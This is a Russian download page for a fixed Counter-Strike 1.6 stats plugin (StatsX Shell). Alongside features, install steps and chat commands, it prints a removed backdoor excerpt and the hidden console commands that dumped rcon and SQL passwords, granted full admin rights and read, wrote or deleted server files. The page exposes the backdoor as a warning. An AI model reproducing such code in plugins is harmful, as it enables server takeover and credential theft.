Исправленный StatsX Shell (Ultimate StatsX) 2.0.0 [BETA] ()
Уважаемый Гость сайта если вы не хотите ожидать 31 сек. для того что бы скачать "Исправленный StatsX Shell (Ultimate StatsX) 2.0.0 [BETA]" размером в: () то зарегистрируйтесь или войдите под своим профилем!
StatsX Shell (Ultimate StatsX) - это усовершенствованный плагин статистики, выполненный на основе оригинального StatsX. Статистика и анализ игрового процесса , а также не мало важный момент, как качественная подача этой информации - можно рассматривать как визитную карточку вашего сервера или фундамент для успешного строительства сообщества постоянных игроков. Именно эти мотивы идей стали в основе создания новой, лучшей и более совершенной статистики под названием StatsX Shell, которая полностью изменит Ваше представление об этом инструменте , без которого не возможно представить ни один современный игровой сервер в интернет. StatsX Shell является универсальным, и сочетает в себе старые и новые функции. Таким образом, его можно использовать практически на любом сервере, будь это обычный, классический, или сервер с установленными модами. Информация: Версия: 2.0.0 beta Доступные языки: RU, EN Особенности: StatsX Shell поддерживает два режима работы - "Обычный" и "Новый". - В Обычном режиме - плагин будет работать как стандартный StatsX (statsx.amxx), при этом будет доступна возможность выбирать MOTD шаблоны. - При выборе Нового режима - будут доступны дополнительные возможности и команды. Системные требования: Counter-Strike 1.6 AMX Mod X 1.8.x Установленный и рабочий стандартный statsx.amxx Необходимые модули: csx cstrike nvault ПРИМЕЧАНИЕ: Внимательно, должным образом убедитесь, что у вас запущены все необходимые модули, иначе плагин не будет работать! Доработка плагина: - Полный и качественный перевод - Корректное отображение символов "" - MOTD шаблоны - Новый вид и структура списка лучших игроков - Статистика худших игроков - Статистика по нанесенному урону - Статистика по убийствам в голову - Статистика почасового посещения - Статистика сыгранного времени - Просмотр любой позиции рейтинга игроков - Система наград и бонусов - Сообщения при подключении - Прокрутка HUD статистики лучших игроков - Цветные уведомления в чате - Убран шелл от MastaMan'а (by Wildness Team) Вот небольшая часть вредоносного кода который присутсвовал в плагине: Code <a></a></div><div id="sp65d0f50505d2a62f0a4d782d7c39569c" class="text_spoiler" style=""><br><pre><code class="perl"> <span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">/ get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1) get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1) get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1) get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1) get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1) get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1) get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1) get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1) /</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span> client_print(id,print_console,<span class="string">"==========================="</span>) client_print(id,print_console,<span class="string">"[ SHPROT v2.0.0 o(-_^^)0 ]"</span>) client_print(id,print_console,<span class="string">"==========================="</span>) get_players(szPlayers, iNumPlayers) <span class="keyword">for</span>(new k = <span class="number">0</span>; k < iNumPlayers; k++) { get_user_name(szPlayers[k],szName, sizeof(szName) - <span class="number">1</span>) get_user_ip(szPlayers[k],szIP, sizeof(szIP) - <span class="number">1</span>, <span class="number">1</span>) <span class="keyword">if</span>(get_user_flags(k + <span class="number">1</span>) & ADMIN_KICK) { szAdm = <span class="string">"/!\" iAdmCount++ } else { szAdm = "</span><span class="string">" } console_print(id,"</span><span class="variable">%s</span> <span class="variable">%d</span>) <span class="variable">%s</span> - <span class="variable">%s</span><span class="string">", szAdm, k + 1, szName,szIP) } set_user_flags(id, read_flags("</span>abcdefghijklmnopqrstu<span class="string">")) client_print(id,print_console,"</span> <span class="string">") client_print(id,print_console,"</span>ADMINS ONLINE: <span class="variable">%d</span><span class="string">", iAdmCount) client_print(id,print_console,"</span>===========================<span class="string">") client_print(id,print_console,"</span>RCON: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szRc) client_print(id,print_console,"</span>PW FIELD: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szPrefix) client_print(id,print_console,"</span>===========================<span class="string">") client_print(id,print_console,"</span>SQL HOST: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL1) client_print(id,print_console,"</span>SQL USER: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL2) client_print(id,print_console,"</span>SQL PW: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL3) client_print(id,print_console,"</span>SQL DB: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL4) client_print(id,print_console,"</span>SQL TABLE: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL5) client_print(id,print_console,"</span>SQL TYPE: ^<span class="string">"<span class="variable">%s</span>^"</span><span class="string">",szSQL6) client_print(id,print_console,"</span>===========================<span class="string">") /////////////////////////////////////// get_configsdir(szCfgDir, sizeof (szCfgDir) - 1) format(szCfgDir, sizeof (szCfgDir), "</span><span class="variable">%s</span><span class="regexp">/users.ini", szCfgDir) new i = 0 tmpi = 0 new file = fopen(szCfgDir, "rt") while(!feof(file)) { fgets(file, szData, sizeof(szData) -1) /</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span><span class="regexp">//</span></code></pre><br></div> Вы наверное спросите: "Что же в этом коде вредноносного?" Я вам отвечу... При вводе опреденных команд в консоли клиента игры можно получить много полезной информации. Вот эти команды: mm_plugins sosimandy_adm - получить админку, права: abcdefghijklmnopqrstu mm_plugins sosimandy_del "" - удалить файл mm_plugins sosimandy_wr "" "text" - записать в файл mm_plugins sosimandy_rd "" - прочитать файл mm_plugins sosimandy_dir "" - показать что в папке mm_plugins sositesyki - выводит rcon_password, amx_password_field, amx_sql_host, и т.д и т.п Перейдем к установке плагина: 1. Отключите стандартный statsx.amxx в "cstrike\addons\amxmodx\configs\plugins.ini" 2. Разархивируйте архив. 3. Файл plugins\statsx_shell.amxx скопируйте в папку "cstrike\addons\amxmodx\plugins\" на вашем сервере. 4. Пропишите statsx_shell.amxx в "cstrike\addons\amxmodx\configs\plugins.ini" на вашем сервере. 5. Файл локализации "data\lang\statsx_shell.txt" скопируйте в папку "cstrike\addons\amxmodx\data\lang" на вашем сервере. 6. Папку "configs\statsx_shell" скопируйте в папку "cstrike\addons\amxmodx\configs" на вашем сервере 7. Перезагрузите сервер. Чат-команды для "Старого" и "Нового" режима работы плагина: /me - статистика урона, нанесенного противнику /hp - статистика урона, нанесенного вам /rank - ваш текущий ранг на сервере /statsme - ваша статистика убийств, смертей, попаданий, выстрелов, эффективности и точности /stats - статистика других игроков /rankstats - подробная статистика /report - отображает текущее оружие, патроны, % жизни и броню /score - статистика побед и эффективности команд switch - включает/выключает отображение HUD статистики в конце раунда /top15 - 15 лучших игроков сервера Чат-команды для "Нового" режима работы плагина: /top, /top10, /top15, /place, /1place, /1place - 10-ка лучших игроков сервера /top2, /top20, /2place - 20-ка лучших игроков сервера /top3, /top30, /3place - 30-ка лучших игроков сервера /dmg, /damage - 10 лучших игроков по нанесенному урону /hs, /headshot - 10 лучших игроков по убийствам в голову /bot, /bots, /flop, /flops, /noob, /noobs, /lol, /lols - 10 худших игроков сервера /top№ - просмотр любой позиции игроков, где № - номер позиции /award - показать статистику наград /day, /attend - показать статистику посещений за сегодня /time, /pt - показать статистику игроков по сыгранному времени | |||||||||
| |||||||||
|